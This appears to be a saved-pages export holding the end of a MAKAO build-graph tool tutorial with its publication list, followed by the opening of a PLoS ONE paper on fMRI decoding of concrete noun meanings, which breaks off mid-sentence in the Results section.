dependency graph from the GNU Make or ClearMake build trace using
`$MAKAO/parsing/bin/generate_makao_graph.pl -in somefile.txt -out ourgraph.gdf
-format gdf` \(GNU Make\) or
`$MAKAO/parsing/bin/generate_makao_graph.clearmake.pl -in somefile.txt -out
ourgraph.gdf -format gdf` \(ClearMake\). In addition to extracting the build
dependency graph, the extraction process also generates a .xml file with
information about the commands that were executed to build each build target.

### 2\. Laying out the Build Dependency Graph

The graph we obtained in the previous step contains the right information
\(i.e., build targets and dependencies\), but looks like a mess because the
layout is random. To fix this, issue `$MAKAO/ui/bin/show.sh ourgraph.gdf -p`.
This starts up GUESS in Prefuse mode, which offers an interactive force-based
layout mechanism.

Click on the "Start/Stop" button to let the powerful force-based layout
mechanism start clustering the build dependency graph based on the density of
build dependencies between build targets. After a while, slowly start to
increase the "DefaultSpringLength" value until it is fully cranked up. Nodes
can be dragged to another position to influence the layout, and the mouse
scroll wheel can be used to zoom in and out. Once you are happy with the
layout, click the "Start/Stop" button again.

Now, type `export("ourgraph")` in the console window at the bottom of the
screen, and press enter. This will store the layouted graph as "ourgraph-
piccolo.gdf". You should quit GUESS now, because we need to restart it in
Piccolo mode.

### 3\. Querying of Build Dependency Graph

The extracted, layouted build dependency graph is now ready for manipulation
and querying. Open the graph using `$MAKAO/ui/bin/show.sh ourgraph.gdf`.
Select ourgraph.gdf.xml in the file dialog, i.e., the XML file that was
generated as a by-product of the extraction phase.

Once the graph is fully loaded, you can notice the following things:

  * On the left of the screen, there is a color legend indicating what color is associated with each concern. For example, red represents object files \(.o\).
  * The build dependency graph is shown in the largest part of the GUI, with each node colored as indicated in the legend panel. White nodes are instances of as yet unidentified concerns \(can be added in $MAKAO/ui/scripts/makao.py\).
  * Zoom in or out by right-clicking and dragging the mouse to the right or to the left.
  * The large colored polygons \(disabled by default\) are **convex hulls** , i.e., the smallest polygons around all build targets of a particular Makefile. Hulls are disabled since they tend to clutter up the display.
  * The bottom panel is an interactive Jython-based interpreter console that allows the user to manipulate the GUESS environment as well as the graph.

Some example commands that can be typed in the Jython console:

  * `center` centers the graph.
  * The name of a node corresponds to the name of a Jython object \(in the OO sense\) that represents that node. `all.name` gives you the name of target "all", provided this target exists.
  * The following expression sets the "visible" field to zero of all nodes with "error" code zero: `(error==0).visible=0`. In other words, this command only shows those targets that were built without any error.
  * Display -> Information Window opens another tab in the left panel in which all the fields and values of the currently selected node or edge are shown.
  * You can load in your own Jython scripts using `execfile(makao_path+"path/relative/to/makao/directory/script.py")`.

### 4\. Filtering of Build Dependency Graph

If the build dependency graph contains too much information, setting the
"visible" field of the offending nodes to zero hides these nodes. However, to
make the graphs less bloated, it makes sense to systematically remove all
nodes and edges that match a particular pattern before the graph is loaded
into GUESS. For this, MAKAO provides a filtering mechanism which is based on
logic programming \(SWI Prolog is needed for this\):

  1. Generate a build trace as usual, say somefile.txt
  2. `cp $MAKAO/filtering/prolog-backward/rules/gdf-sample.pl $SOMEDIR/gdf-trace.pl`
  3. `cp $MAKAO/filtering/prolog-backward/rules/gdf-sample-logic.pl $SOMEDIR/gdf-trace-logic.pl`
  4. `cp $MAKAO/filtering/prolog-backward/bin/prepare_fact_base.sh $SOMEDIR/prepare_fact_base.sh`
  5. Modify the first three variable definitions of `$SOMEDIR/prepare_fact_base.sh` and make sure that `PL_IN=$WORK_DIR/trace-facts.pl`
  6. `$SOMEDIR/prepare_fact_base.sh`
  7. With the sample rules as inspiration, you can write logic filtering rules in `$SOMEDIR/gdf-trace-logic.pl` and configure which rules are active in `$SOMEDIR/gdf-trace.pl` \(details are given in my PhD dissertation\)
  8. Apply the filtering rules and show the resulting \(un-layouted\) graph: `$MAKAO/filtering/prolog-backward/bin/show_reduced.sh trace-facts.pl target_name`.
  9. Layout the graph and store the result as usual
  10. Visualize and query the graph using `$MAKAO/filtering/prolog-backward/ui/show.sh some_file-piccolo.gdf target_name`.

### 5\. Refactoring of Build Dependency Graph

MAKAO can refactor Makefiles \(only GNU Make\) using Aspect-Orientation
Software Development \(AOSD\) technology. The full details are given here, but
this tutorial shows how to re-enact our experiments.

We want to preprocess each .c file with a custom tool before compilation. For
this, we will add a call to that tool before every compiler invocation, making
sure that instead of the original file the compiler gets as input the
preprocessed file.

Open the build dependency graph you want to re-engineer in the Piccolo mode of
GUESS. Then:

  1. `execfile(makao_path+"scripts/case-cc.py")`
  2. Select `$MAKAO/refactoring/example` as directory when prompted \(create this directory if it is not there\).
  3. If you check the command list of any red object file node \(`commands[t]`\), you will see that a call to the custom tool has been added before every compilation command. This has only happened on MAKAO's in-memory model of the build dependency graph, NOT on the actual Makefiles \(**" virtual weaving"**\).
  4. If the results are not satisfactorily, the virtual weaving can be undone using `cc_weaver.unweave_before()`.
  5. If you are happy with the proposed changes, it is time to modify the real Makefiles \(**" physical weaving"**\) by: 
     * Copying your Makefiles to `$MAKAO/refactoring/examle/orig`.
     * Creating an empty directory `$MAKAO/refactoring/example/makao`.
     * `cd $MAKAO/refactoring`
     * Synchronizing `$MAKAO/refactoring/examle/orig` and `$MAKAO/refactoring/example/makao` using `./bin/weave.sh example aspicere-cc reset /path/to/build/dir`.
     * Doing the physical weaving using `./bin/weave.sh example aspicere-cc weave /path/to/directory/during/build`.
     * To show that the Makefiles in `$MAKAO/refactoring/example/makao` have been modified, a diff is shown to compare with the original Makefiles in `$MAKAO/refactoring/example/orig`.
     * Undoing the physical weaving only requires `./bin/weave.sh example aspicere-cc unweave /path/to/directory/during/build`.

This tutorial helped you getting started with MAKAO. The full documentation
can be found here. If you have problems or suggestions, do not hesitate to
contact me.

### Publications

  *     * MCINTOSH, S., ADAMS, B., KAMEI, Y., NGUYEN, T. and HASSAN, A. E. \(2011\). An Empirical Study of Build Maintenance Effort, in Proceedings of the 33rd International Conference on Software Engineering, ICSE \(Waikiki, Honolulu, Hawaii\), to appear. \(Acceptance ratio: 62/441=14%\)  _BibTeX_
    * MCINTOSH, S., ADAMS, B. and HASSAN, A. E. \(2010\). The Evolution of ANT Build Systems, in Proceedings of the 7th IEEE Working Conference on Mining Software Repositories, MSR \(Cape Town, South Africa\), pages 42-51. \(Acceptance ratio: 16/51=31.4%\)  _BibTeX_
    * ADAMS, B. \(2009\). Co-Evolution of Source Code and the Build System, PhD Symposium at the 25th IEEE International Conference on Software Maintenance, ICSM \(Edmonton, Canada\), September 2009.  _BibTeX_
    * ADAMS, B. \(2008\). Co-evolution of Source Code and the Build System: Impact on the Introduction of AOSD in Legacy Systems, PhD dissertation, ISBN 978-90-8578-203-2, Ghent University, Belgium, May 2009.  _BibTeX_
    * ADAMS, B., DE SCHUTTER, K., TROMP, H. and DE MEUTER, W. \(2008\). The Evolution of the Linux Build System, in Proceedings of the ERCIM Working Group on Software Evolution 2007 \(Paris, France\), Electronic Communications of the ECEASST, Vol. 8., 16 p.  _BibTeX_
    * ADAMS, B., DE SCHUTTER, K., TROMP, H. and DE MEUTER, W. \(2007\). Design Recovery and Maintenance of Build Systems, in Proceedings of the 23rd IEEE International Conference on Software Maintenance, ICSM, pages 114-123, IEEE Computer Society, Paris, France, October 2007. \(Acceptance ratio: 46/214=21%\)  _BibTeX_
    * ADAMS, B., DE SCHUTTER, K., TROMP, H. and DE MEUTER, W. \(2007\). MAKAO \(demo\), in Proceedings of the 23rd IEEE International Conference on Software Maintenance, ICSM \(Paris, France\), pages 517-518, IEEE Computer Society, October 2007.  _BibTeX_

# PLoS ONE: A Neurosemantic Theory of Concrete Noun Representation Based on
the Underlying Brain Codes

**Created:**| _1/13/2010 8:08:51 PM_  
---|---  
**Updated:**| _1/13/2010 8:10:13 PM_  
**Author:**| __  
**Tags:**| _bookmark research_  
  

**A Neurosemantic Theory of Concrete Noun Representation Based on the
Underlying Brain Codes**  

This article describes the discovery of a set of biologically-driven semantic
dimensions underlying the neural representation of concrete nouns, and then
demonstrates how a resulting theory of noun representation can be used to
identify simple thoughts through their fMRI patterns. We use factor analysis
of fMRI brain imaging data to reveal the biological representation of
individual concrete nouns like _apple_ , in the absence of any pictorial
stimuli. From this analysis emerge three main semantic factors underpinning
the neural representation of nouns naming physical objects, which we label
_manipulation_ , _shelter_ , and _eating_. Each factor is neurally represented
in 3–4 different brain locations that correspond to a cortical network that
co-activates in non-linguistic tasks, such as tool use pantomime for the
_manipulation_ factor. Several converging methods, such as the use of
behavioral ratings of word meaning and text corpus characteristics, provide
independent evidence of the centrality of these factors to the
representations. The factors are then used with machine learning classifier
techniques to show that the fMRI-measured brain representation of an
individual concrete noun like _apple_ can be identified with good accuracy
from among 60 candidate words, using only the fMRI activity in the 16
locations associated with these factors. To further demonstrate the
generativity of the proposed account, a theory-based model is developed to
predict the brain activation patterns for words to which the algorithm has not
been previously exposed. The methods, findings, and theory constitute a new
approach of using brain activity for understanding how object concepts are
represented in the mind.

  * Article
  * Metrics
  * Related Content
  * Comments: 0

  * To **add a note** , highlight some text. Hide notes
  * Make a general comment

**Jump to**

Marcel Adam Just1\*, Vladimir L. Cherkassky1, Sandesh Aryal1, Tom M. Mitchell2

**1** Department of Psychology, Carnegie Mellon University, Pittsburgh,
Pennsylvania, United States of America, **2** Machine Learning Department,
School of Computer Science, Carnegie Mellon University, Pittsburgh,
Pennsylvania, United States of America

## Abstract Top

This article describes the discovery of a set of biologically-driven semantic
dimensions underlying the neural representation of concrete nouns, and then
demonstrates how a resulting theory of noun representation can be used to
identify simple thoughts through their fMRI patterns. We use factor analysis
of fMRI brain imaging data to reveal the biological representation of
individual concrete nouns like _apple_ , in the absence of any pictorial
stimuli. From this analysis emerge three main semantic factors underpinning
the neural representation of nouns naming physical objects, which we label
_manipulation_ , _shelter_ , and _eating_. Each factor is neurally represented
in 3–4 different brain locations that correspond to a cortical network that
co-activates in non-linguistic tasks, such as tool use pantomime for the
_manipulation_ factor. Several converging methods, such as the use of
behavioral ratings of word meaning and text corpus characteristics, provide
independent evidence of the centrality of these factors to the
representations. The factors are then used with machine learning classifier
techniques to show that the fMRI-measured brain representation of an
individual concrete noun like _apple_ can be identified with good accuracy
from among 60 candidate words, using only the fMRI activity in the 16
locations associated with these factors. To further demonstrate the
generativity of the proposed account, a theory-based model is developed to
predict the brain activation patterns for words to which the algorithm has not
been previously exposed. The methods, findings, and theory constitute a new
approach of using brain activity for understanding how object concepts are
represented in the mind.

**Citation:** Just MA, Cherkassky VL, Aryal S, Mitchell TM \(2010\) A
Neurosemantic Theory of Concrete Noun Representation Based on the Underlying
Brain Codes. PLoS ONE 5\(1\): e8622. doi:10.1371/journal.pone.0008622

**Editor:** Olaf Sporns, Indiana University, United States of America

**Received:** June 5, 2009; **Accepted:** December 8, 2009; **Published:**
January 13, 2010

**Copyright:** © 2010 Just et al. This is an open-access article distributed
under the terms of the Creative Commons Attribution License, which permits
unrestricted use, distribution, and reproduction in any medium, provided the
original author and source are credited.

**Funding:** This research was supported by the W. M. Keck Foundation and the
National Science Foundation, Grant No. IIS-0835797. The funders had no role in
study design, data collection and analysis, decision to publish, or
preparation of the manuscript.

**Competing interests:** The authors have declared that no competing interests
exist.

\* E-mail: just@cmu.edu

### Introduction Top

How a simple concept like _apple_ is represented in the human mind has been of
interest to philosophers for centuries, but the question has not been amenable
to scientific approaches until recently. The emerging technologies of brain
imaging have now made it possible to examine the _neural_ representation of
such concepts in the human brain, in a way that has been revealing of the
mental content. It is clear that the neural representation of such concepts
involves multiple brain areas specialized for various types of information,
indicating that the representations can be decomposed into components. In the
case of discrete physical objects, the neural representations can be related
to verbs of perception and action that apply to the objects \[1\]. For
example, _apple_ appears to be neurally represented in terms of an apple's
visual properties, graspability, purpose, etc., and the representation is
distributed across a number of relevant brain areas; for example, the
information about the physical actions that can be applied to an object are
represented in cortical areas related to control of hand actions \[1\], \[2\].

A central issue addressed here concerns the underlying semantic dimensions of
representation of concrete nouns and the physical objects to which they refer.
What are the underlying semantic, psychological, or neural dimensions in terms
of which _apple_ is represented? To take a simpler example, a kinship term
such as _grandmother_ is likely to be represented in terms of gender
\(female\), generation level relative to a reference person \(two generations
older\), and lineality \(direct ancestor\) \[3\]. The dimensions of kinship
terms are easier to discern because of the well-structured biological and
social domains to which they refer. The corresponding representational
dimensions of _apple_ are far less clear. However, new methods of neuroimaging
and machine learning have the potential of revealing the dimensions of
representation that the brain uses.

A new approach, combining fMRI neuroimaging and machine learning techniques,
successfully characterized the neural representations of physical objects like
apples \[1\]. This approach proposed that meanings of physical objects can be
characterized in terms of 25 features, namely the nouns' co-occurrence
frequencies with 25 verbs of perception and action in a large text corpus. For
example, one semantic feature \(independent variable in a regression model\)
was the frequency with which the noun co-occurs with the verb _taste_. The
farthest reaching contribution of this model was its generativity, enabling it
to extrapolate sufficiently to predict the neural representation \(fMRI-
measured brain activity\) of words that were new to the model, simply on the
basis of \(1\) the new words' co-occurrence frequencies with the 25 verbs, and
\(2\) the weights associating those frequencies to patterns of brain
activation in response to a fixed number of words. When presented with
previously unseen brain activation patterns generated by two new concrete
nouns, the model was able to correctly match the two nouns to the two patterns
77% of the time, very far above chance level.

The relative success of this previous model speaks to the choice of verbs used
for co-occurrence measures. Many of the verbs pertain to physical manipulation
such as _touch_ , _rub_ , _lift_ , _manipulate_ , _push_ , and _move_. Some
pertain to eating: _taste_ , _eat_. The set of verbs was generated intuitively
as actions and perceptions that seemed applicable to physical objects.

The current study takes a different approach, asking whether there is some
bottom-up analytic procedure that reveals the underlying dimensions of
representation, perhaps more compactly. Is there a set of fundamental neural
dimensions that arise in the representation of physical objects that such a
procedure can reveal?

There is a rich history of applying dimension-reduction techniques, such as
factor analysis and multidimensional scaling, to behavioral data to recover
the underlying dimensions of meanings of words, including classic studies of
color terms \[4\], verbs of motion \[5\], animals \[6\], and a variety of
different domains \[7\]. Here we apply factor analysis to neural data obtained
with fMRI to determine the semantic factors underlying the brain activation.
To foreshadow our results, we found that factor analysis indicated three
fundamental semantic dimensions of neural representation of the physical
objects in the 60-item stimulus set.

A second innovation of this study is its exclusive focus on the representation
of words rather than on pictures of objects. Much of the previous research has
focused on or included visual depictions of the objects of interest, rather
than focusing on words \(Mitchell et al. \[1\] presented word-picture pairs\).
Various kinds of depictions \(such as line drawings or photographs\)
inherently present a particular instantiation of a given object category, and
they explicitly depict some of the object's visual features, which in turn are
represented in the perceiver's brain. By contrast, words are symbols whose
neural representations are entirely retrieved from previous knowledge rather
than being at least partly visually perceived.

Which particular brain locations are involved in the representation of a
concept depends in part on how the concept is evoked. Previous neuroimaging
studies that presented a visual depiction of the object, such as a line
drawing or photograph, have determined which specific brain areas play a role
in the high-level visual representation of categories of physical objects
\(such as faces\), indicating that there is a set of areas, particularly in
ventral temporal cortex, that respond differentially to _pictures_ of a set of
disparate categories of objects, such as houses, faces, and chairs
\[8\]–\[10\]. Moreover, by applying machine learning or pattern-based
classification methods to fMRI data \(reviewed in \[11\]–\[13\]\), such
studies have succeeded in finding a mapping between multivariate patterns of
brain activity and a given object category. The remarkable successes in
identifying the brain activity associated with viewing classes of visual
depictions of objects has focused, unsurprisingly, on the brain's primary and
secondary \(ventral temporal\) visual areas. Here, with printed words as
stimuli, we ask if it is possible to identify higher order cortical
representations \(in addition to the perceptual representations\) of the
semantic properties of a concrete noun. Moreover, we attempt to specify the
cortical locations at which the different semantic factors are processed.

A third innovation of this study lies in its examination of the commonality of
the neural representation of words across different people. Only recently has
it been possible to demonstrate that there is a great deal of commonality
across people in their neural representations of visually depicted objects,
like _screwdriver_ , _drill_ , _hut_ , or _castle_ \[14\]. Here we examine the
commonality of the representation of concrete nouns across people. The measure
of commonality is whether a classifier \(a mathematical function that here
maps from fMRI activation patterns to word labels\), trained on the brain
activation patterns of a set of people, can accurately classify \(label\)
patterns of activation obtained from people outside of that set. Although the
issue of cross-person commonality of representation is dealt with succinctly,
it yields one of the most far-reaching conclusions of this research,
indicating whether one person's neural representation of the meaning of a
concrete noun closely resembles another person's.

The machine learning or pattern classification approach is also used in a more
fundamental way, namely for determining whether a neural signature of each
word's meaning, derived from a subset of a given participant's data, can be
used to classify \(label\) the words from an independent subset of that same
participant's brain activation data. The classification approach is used to
assess how well the factor analysis output characterizes individual neural
representations.

The findings reported here thus constitute several types of advances. The
central focus concerns the semantic organization of the neural representation
of familiar concrete objects, revealing the component building blocks of the
brain's representation of the meaning of physical objects. Second, we report
the neural representation evoked by words rather than pictures. A third novel
aspect of the findings is the discovery of significant cross-participant
commonality in neural representations of word meaning, such that the
activation patterns of an individual participant can be identified based on
training data drawn exclusively from other people. Finally, we demonstrate the
generativity of the proposed principles, allowing a model to predict the
activation of a new concrete noun based on its semantic properties.

### Materials and Methods Top

#### Participants

Eleven adults \(eight right-handed females, two clearly right-handed males,
and one male with right-handedness for tool use, with all 11 participants
showing left-dominant activation\) from the Carnegie Mellon community
participated and gave written informed consent approved by the University of
Pittsburgh and Carnegie Mellon Institutional Review Boards. Eight additional
participants were excluded because of either excessive head motion \(two
participants\) or insufficient stability of voxel activation profiles \(six
participants\).

#### Experimental Paradigm

The stimuli were 60 words, containing five exemplar concrete objects from
twelve taxonomic categories: body parts, furniture, vehicles, animals, kitchen
utensils, tools, buildings, building parts, clothing, insects, vegetables, and
man-made objects, as shown in Table 1. The 60 words were presented six times
\(in six different random permutation orders\). Each word was presented for
3s, followed by a 7s rest period, during which the participants were
instructed to fixate on an X displayed in the center of the screen. There were
twelve additional presentations of a fixation X, 31s each, distributed across
the session to provide a baseline measure.

<img src='img/Temp2_6062.png' alt='thumbnail' />

**Table 1. 60 stimulus words grouped into 12 semantic categories.**

doi:10.1371/journal.pone.0008622.t001

#### Task

When a word was presented, the participants' task was to actively think about
the properties of the object to which the word referred. To promote their
consideration of a consistent set of properties across the six presentations
of a word, they were asked to generate a set of properties for each item prior
to the scanning session \(for example, the properties for the item _castle_
might be _cold_ , _knights_ , and _stone_\). Each participant was free to
choose any properties for a given item, and there was no attempt to impose
consistency across participants in the choice of properties.

#### fMRI Procedures

Functional images were acquired on a Siemens Allegra \(Erlangen, Germany\)
3.0T scanner at the Brain Imaging Research Center of Carnegie Mellon
University and the University of Pittsburgh using a gradient echo EPI pulse
sequence with TR = 1000 ms, TE = 30 ms and a 60° flip angle. Seventeen 5-mm
thick oblique-axial slices were imaged with a gap of 1 mm between slices. The
acquisition matrix was 64×64 with 3.125-mm×3.125-mm×5-mm voxels. Initial data
processing was performed using SPM2 \(Wellcome Department of Cognitive
Neurology, London\).

#### Data Preprocessing

The data were corrected for slice timing, motion, and linear trend, and were
normalized into MNI space without changing voxel size \(3.125×3.125×6 mm\).
The gray matter voxels were assigned to anatomical areas using Anatomical
Automatic Labeling \(AAL\) masks \[15\]. For some analyses, the gray matter
voxels were partitioned into five bilateral brain areas or “lobes” using AAL
masks: frontal, parietal, temporal, occipital, and an idiosyncratically-
defined fusiform “lobe” which included the fusiform and parahippocampal gyri.
This fusiform “lobe” was separated from the other areas because of its
prominence in previous studies of object representations. \(The temporal and
occipital “lobes” are hence also idiosyncratically-defined because their
definition excludes their usual share of the fusiform and parahippocampal
gyri.\) A later check found no voxels relevant to the reported outcomes
outside of the five lobes.

The percent signal change relative to the fixation condition was computed at
each gray matter voxel for each stimulus presentation. The main input measure
for the subsequent analyses consisted of the mean of the four brain images
acquired within a 4s window, offset 4s from the stimulus onset \(to account
for the delay in hemodynamic response\). The intensities of the voxels in this
mean image for each word were then normalized \(mean = 0, SD = 1\).

#### Selecting Voxels with Stable Activation Patterns

The analyses below generally focused on a small subset of all the voxels in
the brain, namely those whose _activation profile_ over the 60 words was
_stable_ across the multiple presentations of the set of words. The assumption
here is that the activation levels of only the relatively stable voxels
provide information about objects. A voxel's stability was computed as the
average pairwise correlation between its 60-word activation profiles across
the multiple presentations that served as input for a given model \(the number
of presentations over which stability was computed was four or six, depending
on the analysis\). Here the _60-word activation profile_ of a voxel for a
particular presentation refers to the vector of 60 responses of that voxel to
the words during that presentation. A stable voxel is thus one that responds
similarly to the 60 word stimulus set each time the set is presented.

#### Factor Analysis Methods

To factor the neural activity associated with the 60 different word stimuli
into different components shared across participants and brain lobes, we used
a two-level exploratory factor analysis based on principal axis factoring with
varimax rotation, using the same algorithm as the SAS factor procedure
\(www.sas.com\).

At the first level, a separate factor analysis was run on each lobe of each
participant, using as input the matrix of intercorrelations among the
activation profiles of the 50 most stable voxels in the lobe. \(Prior to
computing the intercorrelations, the voxels' activation profiles within each
lobe and participant were averaged over six presentations and normalized over
the 60 words to have a mean = 0 and SD = 1. The choice of the particular
number of voxels \(50\) used as input was motivated by similar analyses in
other datasets where 50 was the smallest number of voxels that maximized
classification accuracy.\) The goal of each of these first-level factor
analyses was to reduce the data from the activation profiles of many \(50\)
stable voxels to a few factors that characterized the profiles of most of the
stable voxels in each lobe of each participant.

Then a second-level factor analysis was run to identify factors that were
common across lobes and participants, a procedure known as higher-order factor
analysis \[16\]. \(The search for commonality across lobes was motivated by
the assumption that a semantic factor would be composed of a large-scale
cortical network with representation in multiple brain lobes.\) The input to
the second-level analysis consisted of the five dominant first-level factors
obtained from each lobe of each participant. \(Below this two-step factor
analysis is compared to a single-level analysis.\)

To define the factor analysis models precisely, we introduce the following
notation:

  1. <img src='img/Temp2_6063.png' /> is the 60-word mean activation profile of the i-th voxel \(_i_ = 1…50\)
  2. <img src='img/Temp2_6071.png' /> is the first-level factor profile over 60 words of the j-th factor \(_j_ = 1…5\)
  3. <img src='img/Temp2_6052.png' /> is a first-level loading of _i_ -th voxel on factor <img src='img/Temp2_6066.png' />

Then the following equation defines voxel activation profiles as a linear
combination of factor profiles and serves as a model for the first-level
factor analysis.  
<img src='img/Temp2_6068.png' />  

After the first-level factor analysis is computed, we have the matrix of
first-level loadings <img src='img/Temp2_6049.png' /> \(and we also have voxel
profiles <img src='img/Temp2_6073.png' /> for all 50 voxels in a lobe\). The
equations above \(corresponding to _i_ = 1…50\) can be solved for the unknown
factor profiles <img src='img/Temp2_6065.png' /> \(using least squares\),
producing five first-level factor profiles. These factor profiles \(which
apply to all 50 voxels within that lobe of that participant\) constitute the
factor scores for each of the 60 words.

This algorithm was applied separately for each set of 50 voxels selected from
five lobes of four participants, resulting in 20 first-level factor analyses.
\(The motivation for choosing four participants is given below.\) The five
dominant factors were selected from each of these first-level analyses, to
produce a set of 100 first-level factors <img src='img/Temp2_6060.png' />,
where _n_ = 1…100. The choice of five factors from each first-level analysis
was based on observing that the first five factors had eigenvalues greater
than one, and that additional factors typically produced diminishing returns
in characterizing the voxel activation profiles. These 100 first-level factors
were used as input to the second-level factor analysis.

Now define <img src='img/Temp2_6059.png' /> as a second-level factor profile
over 60 words \(_k_ = 1…10\), <img src='img/Temp2_6053.png' /> as a second-
level loading of _n_ -th first-level factor on second-level factor <img
src='img/Temp2_6050.png' />.

Then the following equation defines the first-level factor profiles as a
linear combination of second-level factor profiles and serves as a model for
the second-level factor analysis.  
<img src='img/Temp2_6057.png' />  

The second-level factor analysis produces a matrix of second-level <img
src='img/Temp2_6058.png' /> loadings, and we also have the first-level factor
profiles <img src='img/Temp2_6056.png' />. The number of factors to which the
analysis was limited was 10 and of these 10 second-level factors, only the
first four factors were common to all four of these participants. Solving the
above equation for the unknown second-level factor profiles \(using least
squares\) produces the vectors of second-level factor profiles over the 60
words. The factor profiles from these four factors constitute the factor
scores for each word.

Factor loading matrices from all first-level and second-level analyses were
also used to create a \(simplified\) mapping between factors and voxels. For
the first-level analyses, a voxel was uniquely assigned to one of the five
first-level factors for which it had the highest \(absolute value\) loading,
provided that this loading was above a threshold value of 0.4 \(a typical
value for exploring factor structure\). Similarly, for the second level
analysis, a first-level factor was uniquely assigned to one of the 10 second-
level factors for which it had the highest \(absolute value\) loading,
provided that this loading has was above the 0.4 threshold. Considered
together, the above mappings allowed us to assign a set of voxels \(from
different lobes and participants\) to each of the second-level factors.

This assignment served the two purposes. First, it provided a basis for
assessing the commonality of each factor across participants. A factor was
defined as being common to N participants if it was mapped to voxels that
originated in N participants. Second, the set of voxels assigned to a factor
specified the brain locations associated with the factor.

The above two-level factor analysis was initially performed using data from
only four of the participants, selected to optimize the discovery of semantic
factors capturing neural activity across more of the cortex than just in
visual areas. The four selected participants were the ones who had the
greatest number of voxels with high stability in non-occipital portions of the
cortex. Generally, in a task with visual input, the most stable voxels are
found in occipital areas, where the stability is determined primarily by the
low-level visual features of the written words. The presence of substantial
numbers of stable non-occipital voxels in these four participants made it more
likely that interpretable semantic factors would emerge during this initial
discovery phase of analysis. The analysis was subsequently applied to all 11
participants, producing similar results, as reported below.

Although the factors emerging from a factor analysis initially have to be
subjectively interpreted, we report below how the recovered factors were
subjected to several validation methods. In the results section, the four
emergent factors are \(1\) analyzed for content; \(2\) independently
substantiated by demonstrating consistency with two other measures of word
meaning; \(3\) used as the basis of a machine learning cross-validation
protocol that demonstrates the ability to identify the word from its fMRI
pattern; and \(4\) used as the basis of a machine learning cross-validation
protocol that demonstrates the ability to predict the fMRI pattern of a new
word.

#### Machine Learning Methods

##### Overview.

The machine learning techniques used here can be separated into three stages:
algorithmic selection of a small set of voxels believed to be useful for
classification; training of a classifier on a subset of the data; and finally
testing of the classifier on an independent subset of the data. The training
and testing use cross-validation procedures that iterate through many cycles
of all possible partitionings of the data into training and testing datasets.
The training set and test set are always rigorously kept separate from each
other. The two main machine learning modeling approaches used are a Gaussian
Naïve Bayes \(GNB\) classifier and linear regression. Throughout the paper, we
use the term _word identification_ to refer to the ability of a machine
learning algorithm to determine \(with some accuracy\) which of many words a
person is thinking about.

##### Feature selection.

First, there is an algorithmic feature selection, selecting 80 of the
15,000–20,000 brain voxels \(each 3.125×3.125×6 mm\) believed to be
particularly useful for detecting the patterns of interest. \(Several previous
studies indicated that 80 voxels regularly produced considerably higher
identification accuracies than using all of the voxels in the brain, and
modest increases of the number of voxels above 80 tended not to systematically
increase accuracy.\) In the base machine learning model described later, the
voxels selected were the 80 most stable voxels in the cortex. Here a voxel's
stability was computed as the average pairwise correlation between its 60-word
activation profiles across the four presentations in a training set for the
within-participant identification. The activation values for the 80 voxels
were normalized \(mean = 0, SD = 1\) across the 60 words, separately for the
training and test set, to increase comparability across the six presentations.
\(For the cross-participant analyses, the 80 voxels were those that were most
stable across the 60 words for the participants in the training set, excluding
any data from the participant involved in the test of the classifier.\)

##### Classifier training.

In a second stage, a subset of the data \(four out of the six presentations in
the within-participant classification\) was used to train a classifier to
associate fMRI data patterns with a set of labels \(the words\). A classifier
is a mapping function _f_ of the form: _f: voxel activation levels_ →Y _i_ ,
_i_ = 1,…,m, where Y _i_ were the 60 words \(_leg_ , _chair_ , _car_ , _dog_
,…\), and where the _voxel activation levels_ were the 80 mean activation
levels of the selected voxels. The classifier used here was a Gaussian Naïve
Bayes \(GNB\)-pooled variance classifier. \(Several other classifiers were
also examined, such as variants of GNB-pooled, a support vector machine, and a
k-nearest neighbor classifier, all of which sometimes produced comparable
results. We make no claim of superiority for GNB-pooled.\) GNB is a generative
classifier that models the joint distribution of class Y and attributes and
assumes the attributes _X 1,…,Xn_ are conditionally independent given Y. The
classification rule is:  
<img src='img/Temp2_6054.png' />  
where _P\(X|_ Y _= y i\)_ is modeled as a Gaussian distribution whose mean and
variance are estimated from the training data. In GNB-pooled variance, the
variance of attribute _X j_ is assumed to be the same for all classes. This
single variance is estimated by the sample variance of the pooled data for _X
j_ taken from all classes \(with the class mean subtracted from each value\).

##### Classifier testing.

The classifier was tested on the mean of the two left-out presentations of
each word. This procedure was reiterated for all 15 possible combinations
\(folds\) of leaving out two presentations. \(The between-participant
classification always left out the data of the to-be-classified participant
and trained the classifier on the remaining participants' data.\)

The _rank accuracy_ \(hereafter, simply _accuracy_\) of the classification
performance was computed as the normalized rank of the correct label in the
classifier's posterior-probability-ordered list of classes. For example, if
the classification were operating at chance level, one would expect a mean
normalized rank accuracy of 0.50, indicating that the correct word appeared on
average between the 30th and 31st position in the classifier's output of a
ranked list of 60 items. A rank accuracy was obtained for each fold, and these
rank accuracies were averaged across folds, producing a single value
characterizing the prediction accuracy for each word. The mean accuracy across
items \(words\) was then computed.

### Results Top

#### Overview of Results

  1. In the first section of the results, we report the outcome of a data-driven approach, a factor analysis of the brain activation, discovering three semantic factors and one visual factor underlying the representation of the 60 words that are common across participants. This section also describes the cortical locations associated with each factor.
  2. We then develop converging information about the word representations by obtaining two additional characterizations that are based on \(a\) text corpus statistics related to the words, and \(b\) independent participant ratings of the words. These additional approaches indicate strong correspondences with the factor analysis characterizations of the words.
  3. We then apply a machine learning \(or pattern classification\) approach to determine whether the semantic characterization obtained by the bottom-up approach can be used to successfully identify a word by its fMRI activation signature.
  4. We show that the neural representation of a concrete noun is common across people, allowing cross-participant identification of the words.
  5. We express the theory of concrete noun representation explicitly and use a regression model to test the generativity of the theory by predicting the activation of words that the model has not previously encountered and matching the predictions to the observed activation.

#### 1\. Using Factor Analysis to Determine the Semantic Dimensions Underlying
the Activation and the Factors' Locations

##### Common factors across participants.

The factor analyses start with the four participants with the greatest number
of stable anterior voxels and are then generalized to the entire group because
the anterior voxels encode semantic information that is part of a concrete
noun's meaning. The 80 most stable voxel locations of the four participants
with plentiful anterior voxels were very similar to each other and included
inferior left frontal cortex, inferior parietal, and posterior temporal
regions, whereas the remaining seven participants had few voxels in these
anterior locations among the 80 most stable ones. We show below that the
remaining seven participants also had informative anterior voxels, but there
were enough stable posterior voxels among these seven participants to lower
the stability rank of the anterior voxels. It was the four participants with
plentiful anterior voxels \(labeled P1, P2, P3, and P5 in a later Figure\) who
also tended to have the highest word identification accuracies using machine
learning techniques.

Of the factors emerging in the second-level factor analysis, only four of them
were common to all four of the participants with plentiful anterior voxels in
the first-level factor analyses. \(These four factors explained 29% of the
variation in the input data \(the 100 factors from the first-level factor
analyses\), whereas all 10 factors explained 56% of the variation.\) The four
common factors were initially interpreted by observing which words had the
